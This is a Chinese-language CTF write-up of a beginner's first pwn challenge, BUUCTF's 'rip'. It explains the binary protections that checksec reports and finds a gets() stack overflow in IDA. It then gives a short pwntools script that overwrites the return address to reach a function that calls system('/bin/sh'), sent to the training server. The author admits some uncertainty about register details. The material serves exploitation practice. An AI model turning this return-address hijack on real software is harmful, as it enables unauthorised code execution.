记录第一次尝试做pwn题目。

1.访问题目

这里选择的是buuctf在线测评上面的rip题目,下载到一个附件和一个nc链接

首先在Ubuntu里nc访问一下这个端口

直接运行这个文件

总结下来大概就是能够进行一次输入并接受值然后输出,并附带了两个友情提示之类的字符串输出,然后可能在接受的时候存在溢出的可能性。

2.收集信息

2.1checksec

使用checksec查看安全机制:checksec ./pwn1 (checksec filename)

补充备注:

Arch:

程序架构信息,判断是64位还是32位,exp编写的时候是p64还是p32

RELRO

Relocation Read-Onl(RELRO)此项技术主要针对GOT改写的攻击方式,它分成两种,Partial RELRO和FULL RELRO。

1
2
Partial RELRO(部分):容易受到攻击,例如攻击者可以atoi.got为system.plt进而输入/bin/sh\x00获得shell
FULL RELRO(完全):使整个GOT只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。

Stack-canary

栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入类似cookie的信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。

NX

NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,如此一来, 当攻击者在堆栈上部署自己的 shellcode 并触发时, 只会直接造成程序的崩溃,但是可以利用rop这种方法绕过。

PIE

PTE(Position-Independent Executable,位置无关可执行文件)技术与ASLR技术类似,ASLR将程序运行时的堆栈以及共享库的加载地址随机化,而PIE及时则在编译时将程序编译为位置无关,即程序运行时各个段(如代码但等)加载的虚拟地址也是在装载时才确定,这就意味着。在PIE和ASLR同时开启的情况下,攻击者将对程序的内存布局一无所知,传统改写GOT表项也难以进行,因为攻击者不能获得程序的.got段的虚地址。若开始一般需在攻击时泄露地址信息。

RPATH/RUNPATH

程序运行是的环境变量,运行时所需要的共享库文件优先从该目录寻找,可以fake lib造成攻击,实例:攻击案例

FORTIFY

这是一个由GCC实现的源码级别的保护机制,其功能是在编译的时候检查源码以避免潜在的缓冲区溢出等错误
简单地说,加了和这个保护之后,一些敏感函数如read,fgets,memcpy,printf等等可能导致漏洞出现的函数会替换成__read_chk,__fgets_chk等。
这些带了chk的函数 会检查读取/复制的字节长度是否超过缓冲区长度,通过检查诸如%n之类的字符串卫视是否位于可能被用户修改的可写地址,避免了格式胡字符串跳过某些函数如直接(%7$x)等方式来避免漏洞出现,开启FORTIFT保护的程序会被checksec检出,此外,在反编译是直接查看got表也会发现chk函数的存在,这种检查是默认不开启的,可以通过。

2.2 ida反编译

用ida反汇编,可以看到是gets函数有个简单的栈溢出,偏移也很好计算,F+8=23(后面补充原因)

反编译之后可以看到main函数的主要代码片段。

此处能看到s字符串的长度是15位。

此外还发现一个fun函数可以直接跳转到这里来获取shell。

system函数可以接受参数。

2.3payload

1
2
3
4
5
6
7
#python3 需要预先安装pwntools
from pwn import *
p = remote('node3.buuoj.cn', '27532')
payload = b'a' * (0xf + 8) + p64(0x40118A) #这个b是转换为字节流,python3特色
#这个15+8 好像很神奇的样子,有点玄虚在里面
p.sendline(payload)
p.interactive()

解释:get函数最后必有一个retn 返回调用地址。堆栈平衡什么的。

0x40118A就是劫持的一个目标函数地址,就是在在上面fun函数中对应的/bin/sh的位置。

使得get 返回了0x40118A,而不是main 中调用get 后的地址。

retn相当于pop + 执行,故形成了返回地址劫持。

效果是:pop 堆栈 ebp,esp 这里记不清了,应该是这两个寄存器中的一个,0x40118A
等价为:

pop 堆栈

call system(“/bin/sh”)

3.解释备注

这个就是15+8的来历

15是s的长度,8是因为64位的系统

我们这边要造成溢出利用,就得要从变量那边写数据,溢出到返回地址,这需要输入的字符串的长度=变量大小+ebp

32位程序的ebp的大小是4,64位程序的ebp的大小是8

前面使用checksec命令查看文件的信息,是64位。64位就是8byte

3.1pwntools

send(data): 发送数据

sendline(data) : 发送一行数据,相当于在末尾加\n

recv(numb=4096, timeout=default) : 给出接收字节数,timeout指定超时

recvuntil(delims, drop=False) : 接收到delims的pattern (以下可以看作until的特例)

recvline(keepends=True) : 接收到\n,keepends指定保留\n

recvall() : 接收到EOF

recvrepeat(timeout=default) : 接收到EOF或timeout

interactive() : 与shell交互

连接:本地process()、远程remote(ip,port),对于remote函数可以接url并且指定端口

数据处理:主要是对整数进行打包:p32、p64是打包为二进制,u32、u64是解包为二进制

IO模块:这个比较容易跟zio搞混,记住zio是read、write,pwn是recv、send